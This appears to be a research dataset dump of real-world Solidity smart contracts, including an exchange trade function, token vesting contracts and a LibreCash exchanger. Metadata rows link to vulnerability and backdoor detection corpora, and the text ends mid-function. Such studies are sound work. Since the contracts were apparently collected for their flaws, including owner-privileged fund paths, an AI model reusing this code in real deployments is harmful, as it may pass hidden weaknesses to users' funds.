uint[11] vals,
uint8[3] v,
bytes32[6] rs) public onlyNotPaused
returns (bool)
// addrs:
// addrs[0] baseToken
// addrs[1] quoteToken
// addrs[2] buyer
// addrs[3] seller
// addrs[4] signer
// vals:
// vals[0] buyVolume
// vals[1] buyFund
// vals[2] buyNonce
// vals[3] sellVolume
// vals[4] sellFund
// vals[5] sellNonce
// vals[6] tradeVolume
// vals[7] tradeFund
// vals[8] tradeNonce
// vals[9] buyerFee
// vals[10] sellerFee
// v:
// v[0] buyV
// v[1] sellV
// v[2] tradeV
// rs:
// rs[0] buyR
// rs[1] buyS
// rs[2] sellR
// rs[3] sellS
// rs[4] tradeR
// rs[5] tradeS
{
require(signers[addrs[4]]);
require(cancels[addrs[2]] < vals[2]);
require(cancels[addrs[3]] < vals[5]);
require(vals[6] > 0 && vals[7] > 0 && vals[8] > 0);
require(vals[1] >= vals[7] && vals[4] >= vals[7]);
require(msg.sender == addrs[2] || msg.sender == addrs[3] || msg.sender == addrs[4]);
bytes32 buyHash = keccak256(address(this), addrs[0], addrs[1], addrs[2], vals[0], vals[1], vals[2]);
bytes32 sellHash = keccak256(address(this), addrs[0], addrs[1], addrs[3], vals[3], vals[4], vals[5]);
require(isValidSignature(addrs[2], buyHash, v[0], rs[0], rs[1]));
require(isValidSignature(addrs[3], sellHash, v[1], rs[2], rs[3]));
bytes32 tradeHash = keccak256(this, buyHash, sellHash, addrs[4], vals[6], vals[7], vals[8], vals[9], vals[10]);
require(isValidSignature(addrs[4], tradeHash, v[2], rs[4], rs[5]));
require(!traded[tradeHash]);
traded[tradeHash] = true;
require(safeAdd(orderFills[buyHash], vals[6]) <= vals[0]);
require(safeAdd(orderFills[sellHash], vals[6]) <= vals[3]);
// balances[quoteToken][buyer] > tradeFund
require(balances[addrs[1]][addrs[2]] >= vals[7]);
// balances[quoteToken][buyer] -= tradeFund
balances[addrs[1]][addrs[2]] = safeSub(balances[addrs[1]][addrs[2]], vals[7]);
// balances[baseToken][seller] > tradeVolume
require(balances[addrs[0]][addrs[3]] >= vals[6]);
// balances[baseToken][seller] -= tradeVolume
balances[addrs[0]][addrs[3]] = safeSub(balances[addrs[0]][addrs[3]], vals[6]);
// balances[baseToken][buyer] += tradeVolume - tradeVolume * buyFee
balances[addrs[0]][addrs[2]] = safeAdd(balances[addrs[0]][addrs[2]], safeSub(vals[6], (safeMul(vals[6], vals[9]) / 1 ether)));
// balances[quoteToken][seller] += tradeFund - tradeFund * sellFee
balances[addrs[1]][addrs[3]] = safeAdd(balances[addrs[1]][addrs[3]], safeSub(vals[7], (safeMul(vals[7], vals[10]) / 1 ether)));
balances[addrs[0]][feeAccount] = safeAdd(balances[addrs[0]][feeAccount], safeMul(vals[6], vals[9]) / 1 ether);
balances[addrs[1]][feeAccount] = safeAdd(balances[addrs[1]][feeAccount], safeMul(vals[7], vals[10]) / 1 ether);
orderFills[buyHash] = safeAdd(orderFills[buyHash], vals[6]);
orderFills[sellHash] = safeAdd(orderFills[sellHash], vals[6]);
Trade(addrs[0], addrs[1], vals[6], vals[7], vals[8], addrs[2], addrs[3]);
// Reward BEYs to buyer and seller
if(unmined > 0) {
if(miningRate[addrs[1]] > 0){
uint256 minedBEY = safeMul(safeMul(vals[7], getMiningRate(addrs[1])), 2) / (1 ether);
if(unmined > minedBEY) {
mined[addrs[2]] = safeAdd(mined[addrs[2]], safeSub(minedBEY, minedBEY / 2));
mined[addrs[3]] = safeAdd(mined[addrs[3]], minedBEY / 2);
unmined = safeSub(unmined, minedBEY);
} else {
mined[addrs[2]] = safeAdd(mined[addrs[2]], safeSub(unmined, unmined / 2));
mined[addrs[3]] = safeAdd(mined[addrs[3]], unmined / 2);
unmined = 0;
}
}
}
return true;
}
function claim() public returns(bool) {
require(mined[msg.sender] > 0);
require(BEY != address(0));
uint256 amount = mined[msg.sender];
mined[msg.sender] = 0;
require(Token(BEY).transfer(msg.sender, amount));
Claim(msg.sender, amount);
return true;
}
function claimByTeam() public onlyOwner returns(bool) {
uint256 totalMined = safeSub(totalForMining, unmined);
require(totalMined > 0);
uint256 released = safeMul(teamLocked, totalMined) / totalForMining;
uint256 amount = safeSub(released, teamClaimed);
require(amount > 0);
teamClaimed = released;
require(Token(BEY).transfer(msg.sender, amount));
Claim(msg.sender, amount);
return true;
}
function cancel(address baseToken,
address quoteToken,
address user,
uint volume,
uint fund,
uint nonce,
uint8 v,
bytes32 r,
bytes32 s) public onlySigner returns(bool)
{
bytes32 hash = keccak256(this, baseToken, quoteToken, user, volume, fund, nonce);
require(isValidSignature(user, hash, v, r, s));
orderFills[hash] = volume;
Cancel(user, hash, nonce);
return true;
}
function isValidSignature(address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
public
pure
returns (bool)
{
return signer == ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s);
}
}
| 270,553 | 13,126 |
3271ece8fe1fc1c1cab460feba4da7dad8589cbf2910ba944be1188f10603a23
| 19,685 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/source_code_with_test/0x92126dfa40af12ae742660cbe2f680e895a8cfa1.sol
| 4,445 | 17,905 |
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CommunityVesting is Ownable {
using SafeMath for uint256;
mapping (address => Holding) public holdings;
uint256 constant public MinimumHoldingPeriod = 90 days;
uint256 constant public Interval = 90 days;
uint256 constant public MaximumHoldingPeriod = 360 days;
uint256 constant public CommunityCap = 14300000 ether; // 14.3 million tokens
uint256 public totalCommunityTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
}
event CommunityVestingInitialized(address _to, uint256 _tokens, uint256 _startTime);
event CommunityVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 percentage = calculatePercentageToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) {
// how many 90 day periods have passed
uint periodsPassed = ((now.sub(_startTime)).div(Interval));
percentage = periodsPassed.mul(25); // 25% to be released every 90 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime)
external
onlyOwner
{
totalCommunityTokensCommitted = totalCommunityTokensCommitted.add(_tokens);
require(totalCommunityTokensCommitted <= CommunityCap);
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit CommunityVestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime);
emit CommunityVestingInitialized(_beneficiary, _tokens, _startTime);
}
}
}
contract EcosystemVesting is Ownable {
using SafeMath for uint256;
mapping (address => Holding) public holdings;
uint256 constant public Interval = 90 days;
uint256 constant public MaximumHoldingPeriod = 630 days;
uint256 constant public EcosystemCap = 54100000 ether; // 54.1 million tokens
uint256 public totalEcosystemTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
}
event EcosystemVestingInitialized(address _to, uint256 _tokens, uint256 _startTime);
event EcosystemVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 permill = calculatePermillToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(1000 - permill)).div(1000);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePermillToRelease(uint256 _startTime) internal view returns (uint256 permill) {
// how many 90 day periods have passed
uint periodsPassed = ((now.sub(_startTime)).div(Interval)).add(1);
permill = periodsPassed.mul(125); // 125 per thousand to be released every 90 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime)
external
onlyOwner
{
totalEcosystemTokensCommitted = totalEcosystemTokensCommitted.add(_tokens);
require(totalEcosystemTokensCommitted <= EcosystemCap);
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit EcosystemVestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime);
emit EcosystemVestingInitialized(_beneficiary, _tokens, _startTime);
}
}
}
contract SeedPrivateAdvisorVesting is Ownable {
using SafeMath for uint256;
enum User { Public, Seed, Private, Advisor }
mapping (address => Holding) public holdings;
uint256 constant public MinimumHoldingPeriod = 90 days;
uint256 constant public Interval = 30 days;
uint256 constant public MaximumHoldingPeriod = 180 days;
uint256 constant public SeedCap = 28000000 ether; // 28 million tokens
uint256 constant public PrivateCap = 9000000 ether; // 9 million tokens
uint256 constant public AdvisorCap = 7400000 ether; // 7.4 million tokens
uint256 public totalSeedTokensCommitted;
uint256 public totalPrivateTokensCommitted;
uint256 public totalAdvisorTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
User user;
}
event VestingInitialized(address _to, uint256 _tokens, uint256 _startTime, User user);
event VestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime, User user);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 percentage = calculatePercentageToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) {
// how many 30 day periods have passed
uint periodsPassed = ((now.sub(_startTime.add(MinimumHoldingPeriod))).div(Interval)).add(1);
percentage = periodsPassed.mul(25); // 25% to be released every 30 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime,
uint8 user)
external
onlyOwner
{
User _user;
if (user == uint8(User.Seed)) {
_user = User.Seed;
totalSeedTokensCommitted = totalSeedTokensCommitted.add(_tokens);
require(totalSeedTokensCommitted <= SeedCap);
} else if (user == uint8(User.Private)) {
_user = User.Private;
totalPrivateTokensCommitted = totalPrivateTokensCommitted.add(_tokens);
require(totalPrivateTokensCommitted <= PrivateCap);
} else if (user == uint8(User.Advisor)) {
_user = User.Advisor;
totalAdvisorTokensCommitted = totalAdvisorTokensCommitted.add(_tokens);
require(totalAdvisorTokensCommitted <= AdvisorCap);
} else {
revert("incorrect category, not eligible for vesting");
}
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit VestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime,
holdings[_beneficiary].user);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime,
_user);
emit VestingInitialized(_beneficiary, _tokens, _startTime, _user);
}
}
}
contract TeamVesting is Ownable {
using SafeMath for uint256;
mapping (address => Holding) public holdings;
uint256 constant public MinimumHoldingPeriod = 180 days;
uint256 constant public Interval = 180 days;
uint256 constant public MaximumHoldingPeriod = 720 days;
uint256 constant public TeamCap = 12200000 ether; // 12.2 million tokens
uint256 public totalTeamTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
}
event TeamVestingInitialized(address _to, uint256 _tokens, uint256 _startTime);
event TeamVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 percentage = calculatePercentageToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) {
// how many 180 day periods have passed
uint periodsPassed = ((now.sub(_startTime)).div(Interval));
percentage = periodsPassed.mul(25); // 25% to be released every 180 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime)
external
onlyOwner
{
totalTeamTokensCommitted = totalTeamTokensCommitted.add(_tokens);
require(totalTeamTokensCommitted <= TeamCap);
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit TeamVestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime);
emit TeamVestingInitialized(_beneficiary, _tokens, _startTime);
}
}
}
interface TokenInterface {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Vesting is Ownable {
using SafeMath for uint256;
enum VestingUser { Public, Seed, Private, Advisor, Team, Community, Ecosystem }
TokenInterface public token;
CommunityVesting public communityVesting;
TeamVesting public teamVesting;
EcosystemVesting public ecosystemVesting;
SeedPrivateAdvisorVesting public seedPrivateAdvisorVesting;
mapping (address => VestingUser) public userCategory;
uint256 public totalAllocated;
event TokensReleased(address _to, uint256 _tokensReleased, VestingUser user);
constructor(address _token) public {
//require(_token != 0x0, "Invalid address");
token = TokenInterface(_token);
communityVesting = new CommunityVesting();
teamVesting = new TeamVesting();
ecosystemVesting = new EcosystemVesting();
seedPrivateAdvisorVesting = new SeedPrivateAdvisorVesting();
}
function claimTokens() external {
uint8 category = uint8(userCategory[msg.sender]);
uint256 tokensToClaim;
if (category == 1 || category == 2 || category == 3) {
tokensToClaim = seedPrivateAdvisorVesting.claimTokens(msg.sender);
} else if (category == 4) {
tokensToClaim = teamVesting.claimTokens(msg.sender);
} else if (category == 5) {
tokensToClaim = communityVesting.claimTokens(msg.sender);
} else if (category == 6){
tokensToClaim = ecosystemVesting.claimTokens(msg.sender);
} else {
revert("incorrect category, maybe unknown user");
}
totalAllocated = totalAllocated.sub(tokensToClaim);
require(token.transfer(msg.sender, tokensToClaim), "Insufficient balance in vesting contract");
emit TokensReleased(msg.sender, tokensToClaim, userCategory[msg.sender]);
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime,
VestingUser user)
external
onlyOwner
{
uint8 category = uint8(user);
require(category != 0, "Not eligible for vesting");
require(uint8(userCategory[_beneficiary]) == 0 || userCategory[_beneficiary] == user, "cannot change user category");
userCategory[_beneficiary] = user;
totalAllocated = totalAllocated.add(_tokens);
if (category == 1 || category == 2 || category == 3) {
seedPrivateAdvisorVesting.initializeVesting(_beneficiary, _tokens, _startTime, category);
} else if (category == 4) {
teamVesting.initializeVesting(_beneficiary, _tokens, _startTime);
} else if (category == 5) {
communityVesting.initializeVesting(_beneficiary, _tokens, _startTime);
} else if (category == 6){
ecosystemVesting.initializeVesting(_beneficiary, _tokens, _startTime);
} else {
revert("incorrect category, not eligible for vesting");
}
}
function claimUnallocated(address _sendTo) external onlyOwner{
uint256 allTokens = token.balanceOf(address(this));
uint256 tokensUnallocated = allTokens.sub(totalAllocated);
token.transfer(_sendTo, tokensUnallocated);
}
}
| 135,371 | 13,127 |
ca44dee9690a2403bc2aa5e702fcc619c3efdb6e84b363606c63846220389ee9
| 23,137 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x869d0969915436e67cbf0e47a2c110333f00604b.sol
| 4,229 | 15,300 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract OracleI {
bytes32 public oracleName;
bytes16 public oracleType;
uint256 public rate;
bool public waitQuery;
uint256 public updateTime;
uint256 public callbackTime;
function getPrice() view public returns (uint);
function setBank(address _bankAddress) public;
function setGasPrice(uint256 _price) public;
function setGasLimit(uint256 _limit) public;
function updateRate() external returns (bool);
}
interface ExchangerI {
function buyTokens(address _recipient) payable public;
function sellTokens(address _recipient, uint256 tokensCount) public;
function requestRates() payable public;
function calcRates() public;
function tokenBalance() public view returns(uint256);
function getOracleData(uint number) public view returns (address, bytes32, bytes16, bool, uint256, uint256, uint256);
function refillBalance() payable public;
function withdrawReserve() public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract LibreCash is MintableToken, BurnableToken, Claimable {
string public constant name = "LibreCash";
string public constant symbol = "Libre";
uint32 public constant decimals = 18;
}
contract ComplexExchanger is ExchangerI {
using SafeMath for uint256;
address public tokenAddress;
LibreCash token;
address[] public oracles;
uint256 public deadline;
address public withdrawWallet;
uint256 public requestTime;
uint256 public calcTime;
uint256 public buyRate;
uint256 public sellRate;
uint256 public buyFee;
uint256 public sellFee;
uint256 constant ORACLE_ACTUAL = 15 minutes;
uint256 constant ORACLE_TIMEOUT = 10 minutes;
// RATE_PERIOD should be greater than or equal to ORACLE_ACTUAL
uint256 constant RATE_PERIOD = 15 minutes;
uint256 constant MIN_READY_ORACLES = 2;
uint256 constant FEE_MULTIPLIER = 100;
uint256 constant RATE_MULTIPLIER = 1000;
uint256 constant MAX_RATE = 5000 * RATE_MULTIPLIER;
uint256 constant MIN_RATE = 100 * RATE_MULTIPLIER;
event InvalidRate(uint256 rate, address oracle);
event OracleRequest(address oracle);
event Buy(address sender, address recipient, uint256 tokenAmount, uint256 price);
event Sell(address sender, address recipient, uint256 cryptoAmount, uint256 price);
event ReserveRefill(uint256 amount);
event ReserveWithdraw(uint256 amount);
enum State {
LOCKED,
PROCESSING_ORDERS,
WAIT_ORACLES,
CALC_RATES,
REQUEST_RATES
}
function() payable public {
buyTokens(msg.sender);
}
function ComplexExchanger(address _token,
uint256 _buyFee,
uint256 _sellFee,
address[] _oracles,
uint256 _deadline,
address _withdrawWallet) public
{
require(_withdrawWallet != address(0x0) &&
_token != address(0x0) &&
_deadline > now &&
_oracles.length >= MIN_READY_ORACLES);
tokenAddress = _token;
token = LibreCash(tokenAddress);
oracles = _oracles;
buyFee = _buyFee;
sellFee = _sellFee;
deadline = _deadline;
withdrawWallet = _withdrawWallet;
}
function getState() public view returns (State) {
if (now >= deadline)
return State.LOCKED;
if (now - calcTime < RATE_PERIOD)
return State.PROCESSING_ORDERS;
if (waitingOracles() != 0)
return State.WAIT_ORACLES;
if (readyOracles() >= MIN_READY_ORACLES)
return State.CALC_RATES;
return State.REQUEST_RATES;
}
function buyTokens(address _recipient) public payable {
require(getState() == State.PROCESSING_ORDERS);
uint256 availableTokens = tokenBalance();
require(availableTokens > 0);
uint256 tokensAmount = msg.value.mul(buyRate) / RATE_MULTIPLIER;
require(tokensAmount != 0);
uint256 refundAmount = 0;
// if recipient set as 0x0 - recipient is sender
address recipient = _recipient == 0x0 ? msg.sender : _recipient;
if (tokensAmount > availableTokens) {
refundAmount = tokensAmount.sub(availableTokens).mul(RATE_MULTIPLIER) / buyRate;
tokensAmount = availableTokens;
}
token.transfer(recipient, tokensAmount);
Buy(msg.sender, recipient, tokensAmount, buyRate);
if (refundAmount > 0)
recipient.transfer(refundAmount);
}
function sellTokens(address _recipient, uint256 tokensCount) public {
require(getState() == State.PROCESSING_ORDERS);
require(tokensCount <= token.allowance(msg.sender, this));
uint256 cryptoAmount = tokensCount.mul(RATE_MULTIPLIER) / sellRate;
require(cryptoAmount != 0);
if (cryptoAmount > this.balance) {
uint256 extraTokens = (cryptoAmount - this.balance).mul(sellRate) / RATE_MULTIPLIER;
cryptoAmount = this.balance;
tokensCount = tokensCount.sub(extraTokens);
}
token.transferFrom(msg.sender, this, tokensCount);
address recipient = _recipient == 0x0 ? msg.sender : _recipient;
Sell(msg.sender, recipient, cryptoAmount, sellRate);
recipient.transfer(cryptoAmount);
}
function requestRates() public payable {
require(getState() == State.REQUEST_RATES);
// Or just sub msg.value
// If it will be below zero - it will throw revert()
// require(msg.value >= requestPrice());
uint256 value = msg.value;
for (uint256 i = 0; i < oracles.length; i++) {
OracleI oracle = OracleI(oracles[i]);
uint callPrice = oracle.getPrice();
// If oracle needs funds - refill it
if (oracles[i].balance < callPrice) {
value = value.sub(callPrice);
oracles[i].transfer(callPrice);
}
if (oracle.updateRate())
OracleRequest(oracles[i]);
}
requestTime = now;
if (value > 0)
msg.sender.transfer(value);
}
function requestPrice() public view returns(uint256) {
uint256 requestCost = 0;
for (uint256 i = 0; i < oracles.length; i++) {
requestCost = requestCost.add(OracleI(oracles[i]).getPrice());
}
return requestCost;
}
function calcRates() public {
require(getState() == State.CALC_RATES);
uint256 minRate = 2**256 - 1; // Max for UINT256
uint256 maxRate = 0;
uint256 validOracles = 0;
for (uint256 i = 0; i < oracles.length; i++) {
OracleI oracle = OracleI(oracles[i]);
uint256 rate = oracle.rate();
if (oracle.waitQuery()) {
continue;
}
if (isRateValid(rate)) {
minRate = Math.min256(rate, minRate);
maxRate = Math.max256(rate, maxRate);
validOracles++;
} else {
InvalidRate(rate, oracles[i]);
}
}
// If valid rates data is insufficient - throw
if (validOracles < MIN_READY_ORACLES)
revert();
buyRate = minRate.mul(FEE_MULTIPLIER * RATE_MULTIPLIER - buyFee * RATE_MULTIPLIER / 100) / FEE_MULTIPLIER / RATE_MULTIPLIER;
sellRate = maxRate.mul(FEE_MULTIPLIER * RATE_MULTIPLIER + sellFee * RATE_MULTIPLIER / 100) / FEE_MULTIPLIER / RATE_MULTIPLIER;
calcTime = now;
}
function oracleCount() public view returns(uint256) {
return oracles.length;
}
function tokenBalance() public view returns(uint256) {
return token.balanceOf(address(this));
}
function getOracleData(uint number)
public
view
returns (address, bytes32, bytes16, bool, uint256, uint256, uint256)
{
OracleI curOracle = OracleI(oracles[number]);
return(oracles[number],
curOracle.oracleName(),
curOracle.oracleType(),
curOracle.waitQuery(),
curOracle.updateTime(),
